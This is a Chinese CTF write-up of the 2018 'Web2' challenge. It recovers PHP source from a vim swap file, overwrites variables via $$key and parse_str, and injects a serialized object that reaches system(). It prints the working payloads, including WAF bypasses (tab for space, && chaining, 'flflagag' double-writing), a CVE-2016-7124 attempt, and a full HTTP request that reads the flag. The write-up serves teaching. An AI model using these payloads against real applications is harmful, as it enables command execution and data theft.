0x00 前言

  • 本次总结用到的题目是“2018全国大学生网络安全邀请赛”的赛题,题目名称为Web2。

0x01 通过vim源码泄露获取源代码

  • 拿到题目,只有一个Can you hack me?显示,F12查看也没有什么端倪。文件本身为index.php,访问.index.php.swp得到其vim交换文件,典型的源码泄露。在Linux中可以还原出index.php
  1. vim -r index.php
  • 题目源代码如下:
  1. <?php
  2. error_reporting(0);
  3. class come{
  4. private $method;
  5. private $args;
  6. function __construct($method, $args) {
  7. $this->method = $method;
  8. $this->args = $args;
  9. }
  10. function __wakeup(){
  11. foreach($this->args as $k => $v) {
  12. $this->args[$k] = $this->waf(trim($v));
  13. }
  14. }
  15. function waf($str){
  16. $str=preg_replace("/[<>*;|?\n ]/","",$str);
  17. $str=str_replace('flag','',$str);
  18. return $str;
  19. }
  20. function echo($host){
  21. system("echo $host");
  22. }
  23. function __destruct(){
  24. if (in_array($this->method, array("echo"))) {
  25. call_user_func_array(array($this, $this->method), $this->args);
  26. }
  27. }
  28. }
  29. $first='hi';
  30. $var='var';
  31. $bbb='bbb';
  32. $ccc='ccc';
  33. $i=1;
  34. foreach($_GET as $key => $value) {
  35. if($i===1)
  36. {
  37. $i++;
  38. $$key = $value;
  39. }
  40. else{break;}
  41. }
  42. if($first==="doller")
  43. {
  44. @parse_str($_GET['a']);
  45. if($var==="give")
  46. {
  47. if($bbb==="me")
  48. {
  49. if($ccc==="flag")
  50. {
  51. echo "<br>welcome!<br>";
  52. $come=@$_POST['come'];
  53. unserialize($come);
  54. }
  55. }
  56. else
  57. {echo "<br>think about it<br>";}
  58. }
  59. else
  60. {
  61. echo "NO";
  62. }
  63. }
  64. else
  65. {
  66. echo "Can you hack me?<br>";
  67. }
  68. ?>

0x02 PHP变量覆盖

  • 观察代码可知其定义了first,var,bbb,ccc变量,后面又判断它们的值是否为其他的值,很明显是变量覆盖问题。观察下列代码:
  1. foreach($_GET as $key => $value) {
  2. if($i===1)
  3. {
  4. $i++;
  5. $$key = $value;
  6. }
  7. else{break;}
  8. }
  • 如果不控制变量i的值的话,会将第一个GET参数进行赋值操作。再向下看:
  1. @parse_str($_GET['a']);
  • 这句话会将GET参数a按照HTTP参数列表的方式解析,通过这一点可以构造更多的参数来覆盖后续的变量,所以我们构造URL:
  1. /index.php?first=doller&a=var=give%26bbb=me%26ccc=flag
  • 总体来看传入了两个参数,一个是first参数,值为doller,用来通过foreach循环覆盖原有变量,过掉第一个条件,第二个参数是a,值为var=give%26bbb=me%26ccc=flag,在parse_str函数处会将这个参数进行parse,之后得到var,bbb,ccc,来覆盖后续的变量,过掉下面的if语句。这里注意要对&符号进行URL编码,即%26,不然服务器无法得到正确的值。

0x03 PHP反序列化

  • 到最内层只剩一个反序列化函数了,同时上面给出一个类:
  1. class come{
  2. private $method;
  3. private $args;
  4. function __construct($method, $args) {
  5. $this->method = $method;
  6. $this->args = $args;
  7. }
  8. function __wakeup(){
  9. foreach($this->args as $k => $v) {
  10. $this->args[$k] = $this->waf(trim($v));
  11. }
  12. }
  13. function waf($str){
  14. $str=preg_replace("/[<>*;|?\n ]/","",$str);
  15. $str=str_replace('flag','',$str);
  16. return $str;
  17. }
  18. function echo($host){
  19. system("echo $host");
  20. }
  21. function __destruct(){
  22. if (in_array($this->method, array("echo"))) {
  23. call_user_func_array(array($this, $this->method), $this->args);
  24. }
  25. }
  26. }
  • 接受一个POST参数come,然后对其进行反序列化。在反序列化时,PHP会先自动调用__wakeup魔术方法,这个方法又调用了waf方法进行过滤,然后在代码块结束时调用__destruct析构方法释放对象。
  • 观察代码可知,其要求类的成员method是一个字符串,值必须为echo,用来调用echo方法执行系统命令,同时要求类的成员args为一个数组,数组是echo方法的参数列表,即只有一个key-value,也就是host => 我们要传入的参数
  • 这里在构造对象字符串的时候有一个坑,就是两个成员都是私有成员,所以其参数名称为:%00类名%00成员名称,不知道这是个什么鬼设计,同时这里面是直接赋值的,反序列化时不会调用__construct方法。例如构造如下的POST参数:
  1. come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:1:"a";}}
  • 就代表传入一个come对象,其method成员为echo,其args成员为host => a,稍微解释一下这个字符串:
  • O代表对象,s代表字符串,i代表整型,a代表数组
  • 声明对象本身:O:类名长度:类名:成员个数:{成员列表}
  • 其中成员列表为:method成员:
    s:成员名长度:成员名;s:成员值长度:成员值;args成员:
    s:成员名长度:成员名;a:数组元素个数:{s:数组Key长度:数组Key的值;s:数组value长度:数组value的值;}
  • 构造好之后,开始研究怎么绕过waf,一开始想到的是利用漏洞CVE-2016-7124,在输入的类成员个数的值大于实际成员个数值的时候,存在可以绕过__wakeup的漏洞,这样就不会执行waf方法了,构造POST参数:
  1. come=O:4:"come":3:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:9:"cat /flag";}}
  • 这里面实际只有两个成员,但是声明的是3个,如果服务器存在该漏洞就会触发,但是测试之发现服务器并不存在该漏洞,那么只能尝试绕过waf的过滤。
  • waf中使用正则表达式对某些字符进行了过滤,还过滤了字符串flag,经过尝试发现,空格可以用TAB代替(URL编码为%09),想要执行多个命令可以使用&&来拼接(URL编码为%26%26),而对flag的过滤,我的直观想法是使用大写转小写,或者字符替换,其中大写转小写为:
  1. echo 1&&typeset%09-l%09a&&a=Flag&&cat%09/$a
  • 这里使用typeset之后会自动将a变量的大写字母全部转为小写字母,然后再利用a变量进行操作。本地测试通过,但是实际测试服务器没能成功执行typeset这个指令。于是转而使用字符替换的方法:
  1. echo 1&&a=Flag&&cat%09/${a/F/f}
  • 这里使用${a/F/f}的意思是,将字符串a中首次出现的模式F替换为f。,然后再利用a变量进行操作。本地测试通过,但是实际测试服务器依旧没能成功执行cat /${a/F/f}命令。我甚至都去看了根目录:
  1. echo 1&&ls%09-l%09/
  • 都在根目录发现了flag文件,我甚至还去读取了/etc/passwd都成功了。不过最终依旧没能拿到flag,如果有大佬知道哪里不对的话请指点。
  • 更新:经过大佬指点,对于flag的绕过不必这么麻烦,因为实际上用的是替换,所以可以这样构造:
  1. echo 1&&cat%09/flflagag
  • waf替换掉flag的操作只会进行一次,所以替换完了之后正好剩下一个flag,就可以绕过其限制,最终的Payload为:
  1. POST /index.php?first=doller&a=var=give%26bbb=me%26ccc=flag HTTP/1.1
  2. Host: d1caba9ae5ec40e2badd5759806b6b095e057623213f4e8e.game.ichunqiu.com
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN
  6. Accept-Encoding: gzip, deflate
  7. DNT: 1
  8. Connection: keep-alive
  9. Upgrade-Insecure-Requests: 1
  10. Cache-Control: max-age=0
  11. Content-Type: application/x-www-form-urlencoded
  12. Content-Length: 124
  13. come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:16:"1%26%26cat%09/flflagag";}}
  • 得到答案:
  1. HTTP/1.1 200 OK
  2. Server: nginx/1.10.2
  3. Date: Sun, 04 Nov 2018 15:30:17 GMT
  4. Content-Type: text/html; charset=UTF-8
  5. Content-Length: 61
  6. Connection: keep-alive
  7. <br>welcome!<br>1
  8. flag{7387b9ee-4712-4519-95a9-bca321590110}

0x04 总结

  • 本题主要考察vim源码泄露、PHP变量覆盖、PHP反序列化漏洞以及参数过滤绕过的问题,下面进行一个小小的总结:
  • 使用vim编辑文件,强行退出后会保留一个形如.name.php.swp的文件,该文件可能会泄露源代码
  • PHP中有多种函数可以对变量的值进行设置,包括extract,parse_str等等,这些函数在使用的时候,如果传入的参数为$_GET或者$_POST这类攻击者可控的参数,就可能覆盖原有的变量,改变程序逻辑。
  • PHP使用unserialize方法用于反序列化,如果该方法的参数是攻击者可控的,可能会产生PHP反序列化漏洞。在反序列化时,会先调用__wakeup魔术方法,不会调用__construct魔术方法,在代码块结束时会调用__destruct方法进行清理。在序列化时调用的是__sleep方法。
  • PHP序列化对象时,要注意类的成员权限,特别是私有成员,其成员名字为%00类名成员名%00,保护成员名字为%00*成员名%00
  • PHP在反序列化时,低版本PHP存在CVE-2016-7124漏洞,如果传入的反序列化的对象,其声明的成员个数大于实际的成员个数,会触发漏洞允许攻击者绕过__wakeup魔术方法。
  • 遇到字符串过滤时,如果不是循环过滤,可以考虑类似flflagag这样的双写绕过方式。